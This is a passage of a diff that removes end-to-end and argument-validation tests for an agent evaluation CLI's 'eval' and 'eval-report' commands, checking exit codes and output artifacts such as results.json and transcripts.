|
72
|
-
// doesn't depend on the agent's actual response — `contains: q` will
|
|
73
|
-
// never match the real Claude output for the prompt "hi". The test's
|
|
74
|
-
// job is to verify the pipeline runs end-to-end and produces the
|
|
75
|
-
// expected artifacts, not that the agent answers correctly.
|
|
76
|
-
//
|
|
77
|
-
// Skipping when no auth is available — the test would block on the SDK.
|
|
78
|
-
if (!process.env["ANTHROPIC_AUTH_TOKEN"] && !process.env["ANTHROPIC_API_KEY"]) {
|
|
79
|
-
// No credentials → can't reach the real model. Skip so CI without
|
|
80
|
-
// secrets still passes; the smoke test exercises the live path.
|
|
81
|
-
return;
|
|
82
|
-
}
|
|
83
|
-
|
|
84
|
-
const result = await runCli([
|
|
85
|
-
"eval",
|
|
86
|
-
HELLO_SPEC,
|
|
87
|
-
"--dataset",
|
|
88
|
-
dataset,
|
|
89
|
-
"--graders",
|
|
90
|
-
graders,
|
|
91
|
-
"--concurrency",
|
|
92
|
-
"1",
|
|
93
|
-
"-o",
|
|
94
|
-
join(out, "out"),
|
|
95
|
-
]);
|
|
96
|
-
expect(result.exitCode).toBe(0);
|
|
97
|
-
expect(existsSync(join(out, "out", "results.json"))).toBe(true);
|
|
98
|
-
expect(existsSync(join(out, "out", "index.html"))).toBe(true);
|
|
99
|
-
expect(existsSync(join(out, "out", "run.json"))).toBe(true);
|
|
100
|
-
|
|
101
|
-
const results = JSON.parse(readFileSync(join(out, "out", "results.json"), "utf-8"));
|
|
102
|
-
expect(results.samples).toHaveLength(2);
|
|
103
|
-
expect(results.runId).toMatch(/^run_[0-9a-f]{16}$/);
|
|
104
|
-
expect(typeof results.aggregates.passRate).toBe("number");
|
|
105
|
-
expect(existsSync(join(out, "out", "q1", "transcript.jsonl"))).toBe(true);
|
|
106
|
-
expect(existsSync(join(out, "out", "q1", "events.jsonl"))).toBe(true);
|
|
107
|
-
expect(existsSync(join(out, "out", "q1", "grades.json"))).toBe(true);
|
|
108
|
-
expect(existsSync(join(out, "out", "q1", "meta.json"))).toBe(true);
|
|
109
|
-
}, 60_000);
|
|
110
|
-
|
|
111
|
-
test("eval --help exits 0", async () => {
|
|
112
|
-
const result = await runCli(["eval", "--help"]);
|
|
113
|
-
expect(result.exitCode).toBe(0);
|
|
114
|
-
});
|
|
115
|
-
|
|
116
|
-
test("eval rejects missing --dataset", async () => {
|
|
117
|
-
const result = await runCli(["eval", HELLO_SPEC]);
|
|
118
|
-
expect(result.exitCode).toBe(1);
|
|
119
|
-
});
|
|
120
|
-
|
|
121
|
-
test("eval-report --help exits 0", async () => {
|
|
122
|
-
const result = await runCli(["eval-report", "--help"]);
|
|
123
|
-
expect(result.exitCode).toBe(0);
|
|
124
|
-
});
|
|
125
|
-
|
|
126
|
-
test("eval-report rejects unknown action", async () => {
|
|
127
|
-
const result = await runCli(["eval-report", "bogus"]);
|
|
128
|
-
expect(result.exitCode).toBe(1);
|
|
129
|
-
});
|
|
130
|
-
});
|